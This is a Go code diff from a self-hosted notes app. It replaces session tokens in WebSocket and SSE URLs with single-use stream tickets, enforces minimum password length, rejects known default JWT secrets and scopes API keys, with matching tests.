roomID := chi.URLParam(r, "listId")
if roomID == "" {
roomID = chi.URLParam(r, "spaceId")
}
if roomID == "" {
roomID = r.URL.Query().Get("listId")
}
if roomID == "" {
roomID = r.URL.Query().Get("spaceId")
}
userID := s.authenticateUserFromReq(r)
if userID == "" {
writeError(w, http.StatusUnauthorized, "Nicht autorisiert – bitte anmelden")
return
}
s.wsHub.ServeWS(w, r, roomID, userID)
}
func (s *Server) handleSSE(w http.ResponseWriter, r *http.Request) {
roomID := r.URL.Query().Get("listId")
if roomID == "" {
roomID = r.URL.Query().Get("spaceId")
}
userID := s.authenticateUserFromReq(r)
if userID == "" {
writeError(w, http.StatusUnauthorized, "Nicht autorisiert – bitte anmelden")
return
}
var initialRooms []string
if roomsParam := r.URL.Query().Get("rooms"); roomsParam != "" {
for _, rm := range strings.Split(roomsParam, ",") {
rm = strings.TrimSpace(rm)
if rm != "" {
initialRooms = append(initialRooms, rm)
}
}
}
if docID := r.URL.Query().Get("docId"); docID != "" {
initialRooms = append(initialRooms, "doc:"+strings.TrimSpace(docID))
}
s.wsHub.ServeSSE(w, r, roomID, userID, initialRooms)
}
func (s *Server) handleSSERooms(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
var req struct {
SSEID string `json:"sseId"`
Room string `json:"room"`
DocID string `json:"docId"`
Action string `json:"action"` // "join" or "leave"
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
if req.Room == "" && req.DocID != "" {
req.Room = "doc:" + req.DocID
}
if req.SSEID == "" || req.Room == "" {
writeError(w, http.StatusBadRequest, "sseId und room erforderlich")
return
}
if req.Action == "leave" {
s.wsHub.LeaveSSERoomByID(req.SSEID, userID, req.Room)
writeJSON(w, http.StatusOK, map[string]bool{"success": true})
return
}
if !s.wsHub.JoinSSERoomByID(req.SSEID, userID, req.Room) {
writeError(w, http.StatusForbidden, "Kein Zugriff auf diesen Raum")
return
}
writeJSON(w, http.StatusOK, map[string]bool{"success": true})
}
+21 -3
View File
@@ -62,7 +62,8 @@ func newTestUser(t *testing.T, store *storage.Store, email string) (*domain.User
func openSSE(t *testing.T, ts *httptest.Server, token string) *sseStream {
t.Helper()
ctx, cancel := context.WithCancel(context.Background())
req, _ := http.NewRequestWithContext(ctx, http.MethodGet, ts.URL+"/api/v1/events?token="+token, nil)
req, _ := http.NewRequestWithContext(ctx, http.MethodGet, ts.URL+"/api/v1/events", nil)
req.Header.Set("Authorization", "Bearer "+token)
resp, err := http.DefaultClient.Do(req)
if err != nil {
cancel()
@@ -271,8 +272,8 @@ func TestReorderRejectsForeignTasks(t *testing.T) {
func dialWS(t *testing.T, ts *httptest.Server, token string) *websocket.Conn {
t.Helper()
url := "ws" + strings.TrimPrefix(ts.URL, "http") + "/api/v1/ws?token=" + token
conn, _, err := websocket.DefaultDialer.Dial(url, nil)
url := "ws" + strings.TrimPrefix(ts.URL, "http") + "/api/v1/ws"
conn, _, err := websocket.DefaultDialer.Dial(url, http.Header{"Authorization": {"Bearer " + token}})
if err != nil {
t.Fatalf("dial ws: %v", err)
}
@@ -336,3 +337,20 @@ func TestDocChangesArePushedToTheNoteRoom(t *testing.T) {
t.Fatalf("no DOC_SEQ push for the note: %+v", msg)
}
}
func TestLogoutEndsLiveStreams(t *testing.T) {
srv, _, ts, owner, token := startRealtimeServer(t)
st := openSSE(t, ts, token)
srv.wsHub.DisconnectUser(owner.ID)
deadline := time.After(2 * time.Second)
for {
select {
case _, ok := <-st.events:
if !ok {
return // stream closed by the server
}
case <-deadline:
t.Fatal("stream still open after DisconnectUser")
}
}
}
+117 -2820
View File
File diff suppressed because it is too large. Load diff
+123 -4
View File
@@ -796,7 +796,7 @@ func TestWebhookTriageBadgeAndIngestion(t *testing.T) {
_ = json.Unmarshal(rec.Body.Bytes(), &authResp)
// 2. Create API key for user
apiKey, err := store.CreateAPIKey(authResp.User.ID, "Home Assistant Webhook")
apiKey, err := store.CreateAPIKey(authResp.User.ID, "Home Assistant Webhook", nil)
if err != nil || apiKey == nil || apiKey.RawKey == "" {
t.Fatalf("failed to create API key: %v", err)
}
@@ -891,7 +891,8 @@ func TestSSEGlobalEndpoint(t *testing.T) {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
req = httptest.NewRequest(http.MethodGet, "/api/v1/events?token="+token, nil).WithContext(ctx)
req = httptest.NewRequest(http.MethodGet, "/api/v1/events", nil).WithContext(ctx)
req.Header.Set("Authorization", "Bearer "+token)
rec = httptest.NewRecorder()
go func() {
@@ -1147,7 +1148,8 @@ func TestTokenBlacklistingAndTokenVersionRevocation(t *testing.T) {
}
// Also check authenticateUserFromReq rejects token1
req = httptest.NewRequest(http.MethodGet, "/api/v1/ws?token="+token1, nil)
req = httptest.NewRequest(http.MethodGet, "/api/v1/ws", nil)
req.Header.Set("Authorization", "Bearer "+token1)
if uid := srv.authenticateUserFromReq(req); uid != "" {
t.Fatalf("authenticateUserFromReq should reject blacklisted token1, got uid %q", uid)
}
@@ -1344,7 +1346,16 @@ func TestFirstBootSetupWithSampleData(t *testing.T) {
defer store.Close()
srv := NewServer(&config.Config{Port: "8080", DatabasePath: dbPath, JWTSecret: "test-jwt-secret-key"}, store, ws.NewHub(), nil)
body := []byte(`{"email":"me@example.com","password":"secret","displayName":"Ich","createSampleData":true}`)
// Too short passwords are refused (FLAW-09)
short := httptest.NewRequest(http.MethodPost, "/api/v1/auth/setup", strings.NewReader(`{"email":"me@example.com","password":"secret"}`))
short.Header.Set("Content-Type", "application/json")
shortRec := httptest.NewRecorder()
srv.Router().ServeHTTP(shortRec, short)
if shortRec.Code != http.StatusBadRequest || !strings.Contains(shortRec.Body.String(), "mindestens 8 Zeichen") {
t.Fatalf("setup with 6 characters: want 400, got %d %s", shortRec.Code, shortRec.Body.String())
}
body := []byte(`{"email":"me@example.com","password":"secret123","displayName":"Ich","createSampleData":true}`)
req := httptest.NewRequest(http.MethodPost, "/api/v1/auth/setup", bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
@@ -1406,3 +1417,111 @@ func TestLegalTextsArePublic(t *testing.T) {
t.Fatalf("privacy without text should be 404, got %d", rec.Code)
}
}
// API keys only deliver data, and only what their scopes allow (FLAW-07). Revoked sessions are refused
// everywhere, the webhook ingest included.
func TestAPIKeysOnlyDeliverData(t *testing.T) {
srv, store, token := setupTestServer(t)
router := srv.Router()
claims, _ := auth.ValidateToken(testJWTSecret, token)
key, err := store.CreateAPIKey(claims.UserID, "Home Assistant", nil)
if err != nil {
t.Fatalf("CreateAPIKey: %v", err)
}
do := func(method, path, auth, body string) int {
req := httptest.NewRequest(method, path, strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
if strings.HasPrefix(auth, "mindsift_sec_") {
req.Header.Set("X-API-Key", auth)
} else {
req.Header.Set("Authorization", "Bearer "+auth)
}
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
return rec.Code
}
if code := do(http.MethodPost, "/api/v1/inbox", key.RawKey, `{"content":"Waschmaschine fertig"}`); code >= 300 {
t.Fatalf("API key must be able to post into the inbox, got %d", code)
}
// Default key = triage only
if code := do(http.MethodPost, "/api/v1/inbox", key.RawKey, `{"content":"Filter wechseln","target":"task"}`); code != http.StatusForbidden {
t.Fatalf("triage-only key must not create tasks, got %d", code)
}
if code := do(http.MethodPost, "/api/v1/webhooks/ingest", key.RawKey, `{"content":"Milch","target":"list_item","listId":"x"}`); code != http.StatusForbidden {
t.Fatalf("triage-only key must not add list items, got %d", code)
}
full, _ := store.CreateAPIKey(claims.UserID, "Alles", []string{"webhook:task", "webhook:list"})
if code := do(http.MethodPost, "/api/v1/webhooks/ingest", full.RawKey, `{"title":"Filter wechseln","target":"task","priority":"high"}`); code != http.StatusCreated {
t.Fatalf("task scope must create a task, got %d", code)
}
if code := do(http.MethodPost, "/api/v1/webhooks/ingest", full.RawKey, `{"content":"Rauchmelder"}`); code != http.StatusForbidden {
t.Fatalf("key without triage scope must not fill the inbox, got %d", code)
}
list, _ := store.CreateList(claims.UserID, "Einkauf", "", "shopping")
if code := do(http.MethodPost, "/api/v1/webhooks/ingest", full.RawKey, `{"content":"Milch","target":"list_item","listId":"`+list.ID+`","quantity":"2"}`); code != http.StatusCreated {
t.Fatalf("list scope must add the item, got %d", code)
}
if items, _ := store.GetListItems(list.ID); len(items) != 1 || items[0].Quantity != "2" {
t.Fatalf("list item not stored: %+v", items)
}
other, _ := store.CreateUser("other@example.com", "hash", "Other", "member")
foreign, _ := store.CreateList(other.ID, "Fremd", "", "shopping")
if code := do(http.MethodPost, "/api/v1/webhooks/ingest", full.RawKey, `{"content":"Spam","target":"list_item","listId":"`+foreign.ID+`"}`); code != http.StatusNotFound {
t.Fatalf("key must not write into lists its owner cannot see, got %d", code)
}
// Keys never open live streams (those carry the user's data)
streamReq := httptest.NewRequest(http.MethodGet, "/api/v1/events", nil)
streamReq.Header.Set("Authorization", "Bearer "+full.RawKey)
if uid := srv.authenticateUserFromReq(streamReq); uid != "" {
t.Fatalf("API key must not authenticate a live stream")
}
if code := do(http.MethodGet, "/api/v1/documents", key.RawKey, ""); code != http.StatusForbidden {
t.Fatalf("API key must not read notes, got %d", code)
}
if code := do(http.MethodPost, "/api/v1/webhooks/ingest", key.RawKey, `{"content":"Rauchmelder"}`); code >= 300 {
t.Fatalf("API key must work on the webhook ingest, got %d", code)
}
// Logged-out session token: refused by the ingest as well (was FLAW-08)
if code := do(http.MethodPost, "/api/v1/auth/logout", token, ""); code >= 300 {
t.Fatalf("logout: %d", code)
}
if code := do(http.MethodPost, "/api/v1/webhooks/ingest", token, `{"content":"x"}`); code != http.StatusUnauthorized {
t.Fatalf("revoked token must be refused by the ingest, got %d", code)
}
}
func TestPasswordResetFlow(t *testing.T) {
srv, store, _ := setupTestServer(t)
router := srv.Router()
post := func(path, body string) (int, string) {
req := httptest.NewRequest("POST", path, strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
return rec.Code, rec.Body.String()
}
// Without BASE_URL and SMTP the feature is off
if code, _ := post("/api/v1/auth/forgot-password", `{"email":"x@example.com"}`); code != http.StatusServiceUnavailable {
t.Errorf("forgot-password without setup: want 503, got %d", code)
}
// The link from the mail sets a new password once and ends the old sessions
u, _ := store.CreateUser("reset@example.com", "hash", "Reset", "member")
raw, err := store.CreatePasswordResetToken(u.ID)
if err != nil {
t.Fatalf("token: %v", err)
}
if code, _ := post("/api/v1/auth/reset-password", `{"token":"`+raw+`","password":"abc"}`); code != http.StatusBadRequest {
t.Errorf("too short password must be refused, got %d", code)
}
if code, body := post("/api/v1/auth/reset-password", `{"token":"`+raw+`","password":"neues-passwort"}`); code != http.StatusOK {
t.Fatalf("reset: %d %s", code, body)
}
if code, _ := post("/api/v1/auth/login", `{"login":"reset@example.com","password":"neues-passwort"}`); code != http.StatusOK {
t.Errorf("login with the new password failed: %d", code)
}
if code, _ := post("/api/v1/auth/reset-password", `{"token":"`+raw+`","password":"nochmal1"}`); code != http.StatusBadRequest {
t.Errorf("token must work only once, got %d", code)
}
}
+97
View File
@@ -0,0 +1,97 @@
package api
import (
"crypto/rand"
"encoding/hex"
"net/http"
"net/url"
"strings"
"sync"
"time"
"github.com/sandrodach/mindsift/internal/auth"
)
// WebSocket and EventSource cannot send an Authorization header, so the browser used to put its
// 30-day session token into the URL, where it ends up in proxy and access logs (FLAW-22). Instead the
// app now asks for a stream ticket (POST /auth/stream-ticket, with the normal header) right before it
// connects and passes that: random, valid for 60 seconds, usable once, bound to the session's token
// version. A ticket in a log is worthless.
const streamTicketTTL = 60 * time.Second
type streamTicket struct {
userID string
tokenVersion int
expires time.Time
}
type streamTickets struct {
mu sync.Mutex
tickets map[string]streamTicket
}
func (t *streamTickets) issue(userID string, tokenVersion int) (string, error) {
buf := make([]byte, 24)
if _, err := rand.Read(buf); err != nil {
return "", err
}
id := hex.EncodeToString(buf)
now := time.Now()
t.mu.Lock()
defer t.mu.Unlock()
if t.tickets == nil {
t.tickets = map[string]streamTicket{}
}
for k, v := range t.tickets {
if now.After(v.expires) {
delete(t.tickets, k)
}
}
t.tickets[id] = streamTicket{userID: userID, tokenVersion: tokenVersion, expires: now.Add(streamTicketTTL)}
return id, nil
}
// consume returns the ticket and removes it; ok is false for unknown or expired tickets.
func (t *streamTickets) consume(id string) (streamTicket, bool) {
t.mu.Lock()
defer t.mu.Unlock()
tk, ok := t.tickets[id]
delete(t.tickets, id)
if !ok || time.Now().After(tk.expires) {
return streamTicket{}, false
}
return tk, true
}
func (s *Server) handleStreamTicket(w http.ResponseWriter, r *http.Request) {
user, err := s.store.GetUserByID(auth.GetUserID(r.Context()))
if err != nil || user == nil {
writeError(w, http.StatusUnauthorized, "Nicht autorisiert")
return
}
ticket, err := s.streamTickets.issue(user.ID, user.TokenVersion)
if err != nil {
writeError(w, http.StatusInternalServerError, "Ticket konnte nicht erstellt werden")
return
}
writeJSON(w, http.StatusOK, map[string]interface{}{"ticket": ticket, "expiresIn": int(streamTicketTTL.Seconds())})
}
// streamOriginAllowed: with BASE_URL set, browsers may open WebSockets only from that address or the
// requested host itself. Requests without Origin (non-browser clients) pass; they need a ticket anyway.
func (s *Server) streamOriginAllowed(r *http.Request) bool {
origin := r.Header.Get("Origin")
if origin == "" || !s.cfg.BaseURLSet {
return true
}
o, err := url.Parse(origin)
if err != nil {
return false
}
if strings.EqualFold(o.Host, r.Host) {
return true
}
base, err := url.Parse(s.cfg.BaseURL)
return err == nil && strings.EqualFold(o.Host, base.Host)
}
+73
View File
@@ -0,0 +1,73 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"github.com/sandrodach/mindsift/internal/config"
)
func TestStreamTicketsReplaceTokensInURLs(t *testing.T) {
srv, store, token := setupTestServer(t)
router := srv.Router()
ticket := func(tok string) string {
req := httptest.NewRequest(http.MethodPost, "/api/v1/auth/stream-ticket", nil)
req.Header.Set("Authorization", "Bearer "+tok)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
var out struct{ Ticket string }
_ = json.Unmarshal(rec.Body.Bytes(), &out)
return out.Ticket
}
stream := func(query string) string {
return srv.authenticateUserFromReq(httptest.NewRequest(http.MethodGet, "/api/v1/events?"+query, nil))
}
tk := ticket(token)
if tk == "" {
t.Fatal("no ticket issued")
}
if stream("ticket="+tk) == "" {
t.Fatal("a fresh ticket must open the stream")
}
if stream("ticket="+tk) != "" {
t.Fatal("a ticket works only once")
}
if stream("token="+token) != "" {
t.Fatal("session tokens in the URL are no longer accepted")
}
// Ending all sessions makes unused tickets worthless as well
tk = ticket(token)
uid := stream("ticket=" + ticket(token))
_ = store.RevokeAllUserTokens(uid)
if stream("ticket="+tk) != "" {
t.Fatal("ticket from before 'all sessions ended' must be refused")
}
}
func TestStreamOriginCheck(t *testing.T) {
srv := &Server{cfg: &config.Config{BaseURL: "https://notes.example.com", BaseURLSet: true}}
check := func(host, origin string) bool {
r := httptest.NewRequest(http.MethodGet, "/api/v1/ws", nil)
r.Host = host
if origin != "" {
r.Header.Set("Origin", origin)
}
return srv.streamOriginAllowed(r)
}
if !check("mindsift:8080", "https://notes.example.com") {
t.Error("BASE_URL origin must pass even if the proxy rewrote Host")
}
if !check("notes.example.com", "https://notes.example.com") {
t.Error("same host must pass")
}
if check("notes.example.com", "https://evil.example.org") {
t.Error("foreign origin must be refused")
}
if !check("notes.example.com", "") {
t.Error("non-browser clients without Origin pass (they still need a ticket)")
}
}
+23
View File
@@ -7,7 +7,9 @@ import (
"encoding/hex"
"errors"
"fmt"
"strings"
"time"
"unicode/utf8"
"github.com/golang-jwt/jwt/v5"
"golang.org/x/crypto/bcrypt"
@@ -25,6 +27,27 @@ type Claims struct {
jwt.RegisteredClaims
}
// MinPasswordLength applies wherever a password is set (setup, registration, profile, admin, reset).
// Existing shorter passwords keep working for login.
const MinPasswordLength = 8
var (
ErrPasswordTooShort = fmt.Errorf("Das Passwort muss mindestens %d Zeichen lang sein", MinPasswordLength)
// bcrypt only uses the first 72 bytes and rejects longer input
ErrPasswordTooLong = errors.New("Das Passwort darf höchstens 72 Bytes lang sein")
)
// ValidatePassword checks a new password: at least MinPasswordLength characters, not only whitespace.
func ValidatePassword(password string) error {
if strings.TrimSpace(password) == "" || utf8.RuneCountInString(password) < MinPasswordLength {
return ErrPasswordTooShort
}
if len(password) > 72 {
return ErrPasswordTooLong
}
return nil
}
func HashPassword(password string) (string, error) {
bytes, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
return string(bytes), err
+22
View File
@@ -0,0 +1,22 @@
package auth
import (
"strings"
"testing"
)
func TestValidatePassword(t *testing.T) {
cases := map[string]error{
"geheim12": nil,
"äöüßäöüß": nil, // counts characters, not bytes
"kurz": ErrPasswordTooShort,
" ": ErrPasswordTooShort,
strings.Repeat("a", 73): ErrPasswordTooLong,
"leer zeichen sind ok": nil,
}
for pw, want := range cases {
if got := ValidatePassword(pw); got != want {
t.Errorf("ValidatePassword(%q) = %v, want %v", pw, got, want)
}
}
}
+91 -22
View File
@@ -1,22 +1,35 @@
package config
import (
"crypto/rand"
"encoding/hex"
"log/slog"
"os"
"path/filepath"
"strconv"
"strings"
)
type Config struct {
Port string
DataDir string
DatabasePath string
JWTSecret string
BaseURL string
Port string
DataDir string
DatabasePath string
JWTSecret string
BaseURL string
// BaseURLSet: BASE_URL was configured explicitly. Links in mails (password reset) are only built
// from it, never from the request's Host header.
BaseURLSet bool
AllowRegistration bool
LogLevel string
Debug bool
DemoMode bool
// DemoResetMinutes: in demo mode the database is reset to the sample data this often (0 = never)
DemoResetMinutes int
// TrustedProxies: whose X-Forwarded-For/X-Real-IP is believed ("private", "all", "none" or CIDRs)
TrustedProxies string
// DisableLoginProtection: LOGIN_PROTECTION=false switches off locking logins after repeated
// failures (the zero value keeps it on)
DisableLoginProtection bool
// Optional SMTP environment variables (can also be overridden/configured in DB system_settings)
SMTPHost string
@@ -37,6 +50,50 @@ type LegalTexts struct {
PrivacyURL, PrivacyContent string
}
// Publicly known JWT secrets (old code default and the placeholders from .env.example, compose and
// README). Signing with one of them would let anyone forge login tokens.
var insecureJWTSecrets = map[string]bool{
"mindsift-default-selfhosted-jwt-secret-key-2026": true,
"change_this_to_a_secure_random_key_min_32_chars": true,
"hier-ein-langer-zufaelliger-wert": true,
"changeme": true,
"secret": true,
}
const jwtSecretFile = "jwt.secret"
// resolveJWTSecret uses JWT_SECRET when it is set to a real value. Otherwise it generates a random
// secret once and keeps it in the data directory, so logins survive restarts without anybody being
// able to forge tokens with a known default.
func resolveJWTSecret(fromEnv, dataDir string) string {
if v := strings.TrimSpace(fromEnv); v != "" && !insecureJWTSecrets[v] {
if len(v) < 32 {
slog.Warn("JWT_SECRET ist kürzer als 32 Zeichen – bitte einen längeren Zufallswert verwenden")
}
return v
} else if v != "" {
slog.Warn("JWT_SECRET ist ein öffentlich bekannter Platzhalter und wird ignoriert")
}
path := filepath.Join(dataDir, jwtSecretFile)
if data, err := os.ReadFile(path); err == nil {
if s := strings.TrimSpace(string(data)); len(s) >= 32 {
return s
}
}
buf := make([]byte, 32)
if _, err := rand.Read(buf); err != nil {
panic("crypto/rand: " + err.Error())
}
secret := hex.EncodeToString(buf)
_ = os.MkdirAll(dataDir, 0o755)
if err := os.WriteFile(path, []byte(secret+"\n"), 0o600); err != nil {
slog.Error("Erzeugtes JWT-Secret konnte nicht gespeichert werden – Anmeldungen gelten nur bis zum Neustart", "pfad", path, "error", err)
} else {
slog.Warn("Kein JWT_SECRET gesetzt: zufälliges Secret erzeugt und im Datenverzeichnis gespeichert. Für Produktion besser JWT_SECRET setzen.", "pfad", path)
}
return secret
}
// legalContent reads Markdown from NAME or, for longer texts, from the file named in NAME_FILE.
func legalContent(name string) string {
if v := strings.TrimSpace(os.Getenv(name)); v != "" {
@@ -78,7 +135,7 @@ func Load() *Config {
dbPath = dbURL
}
jwtSecret := getEnv("JWT_SECRET", "mindsift-default-selfhosted-jwt-secret-key-2026")
jwtSecret := resolveJWTSecret(os.Getenv("JWT_SECRET"), filepath.Dir(dbPath))
baseURL := getEnv("BASE_URL", "http://localhost:"+port)
allowReg := strings.ToLower(getEnv("ALLOW_REGISTRATION", "false")) == "true"
@@ -102,22 +159,26 @@ func Load() *Config {
smtpSkipVerify := strings.ToLower(getEnv("SMTP_SKIP_VERIFY", "false")) == "true"
return &Config{
Port: port,
DataDir: dataDir,
DatabasePath: dbPath,
JWTSecret: jwtSecret,
BaseURL: baseURL,
AllowRegistration: allowReg,
LogLevel: logLevel,
Debug: debug,
DemoMode: demoMode,
SMTPHost: smtpHost,
SMTPPort: smtpPort,
SMTPUser: smtpUser,
SMTPPass: smtpPass,
SMTPFrom: smtpFrom,
SMTPTLS: smtpTLS,
SMTPSkipVerify: smtpSkipVerify,
Port: port,
DataDir: dataDir,
DatabasePath: dbPath,
JWTSecret: jwtSecret,
BaseURL: baseURL,
BaseURLSet: strings.TrimSpace(os.Getenv("BASE_URL")) != "",
AllowRegistration: allowReg,
LogLevel: logLevel,
Debug: debug,
DemoMode: demoMode,
DemoResetMinutes: demoResetMinutes(),
TrustedProxies: getEnv("TRUSTED_PROXIES", "private"),
DisableLoginProtection: strings.ToLower(getEnv("LOGIN_PROTECTION", "true")) == "false",
SMTPHost: smtpHost,
SMTPPort: smtpPort,
SMTPUser: smtpUser,
SMTPPass: smtpPass,
SMTPFrom: smtpFrom,
SMTPTLS: smtpTLS,
SMTPSkipVerify: smtpSkipVerify,
Legal: LegalTexts{
ImprintURL: legalURL("LEGAL_IMPRINT_URL"),
ImprintContent: legalContent("LEGAL_IMPRINT_CONTENT"),
@@ -147,3 +208,11 @@ func getEnv(key, fallback string) string {
}
return fallback
}
func demoResetMinutes() int {
n, err := strconv.Atoi(strings.TrimSpace(getEnv("DEMO_RESET_MINUTES", "20")))
if err != nil || n < 0 {
return 20
}
return n
}
+25
View File
@@ -3,10 +3,13 @@ package config
import (
"log/slog"
"os"
"path/filepath"
"testing"
)
func TestConfigLogLevelAndDebug(t *testing.T) {
// Load writes the generated JWT secret into the data directory; keep it out of the repository
t.Setenv("DATA_DIR", t.TempDir())
os.Setenv("PORT", "9090")
defer os.Unsetenv("PORT")
@@ -56,3 +59,25 @@ func TestConfigLogLevelAndDebug(t *testing.T) {
os.Unsetenv("DEBUG")
os.Unsetenv("LOG_LEVEL")
}
func TestJWTSecretNeverUsesAKnownDefault(t *testing.T) {
dir := t.TempDir()
for _, env := range []string{"", "mindsift-default-selfhosted-jwt-secret-key-2026", "change_this_to_a_secure_random_key_min_32_chars"} {
got := resolveJWTSecret(env, dir)
if got == env || len(got) < 32 {
t.Fatalf("env %q: insecure secret %q", env, got)
}
}
// The generated secret is stable across restarts
first := resolveJWTSecret("", dir)
if again := resolveJWTSecret("", dir); again != first {
t.Fatalf("generated secret must persist, got %q then %q", first, again)
}
info, err := os.Stat(filepath.Join(dir, jwtSecretFile))
if err != nil || info.Mode().Perm() != 0o600 {
t.Fatalf("secret file must exist with mode 0600: %v %v", info, err)
}
if got := resolveJWTSecret("ein-eigener-sehr-langer-zufaelliger-wert-123456", dir); got != "ein-eigener-sehr-langer-zufaelliger-wert-123456" {
t.Fatalf("a real JWT_SECRET must win, got %q", got)
}
}
Loaded 100 of 137 files, more files were not shown because too many files have changed in this diff. Show more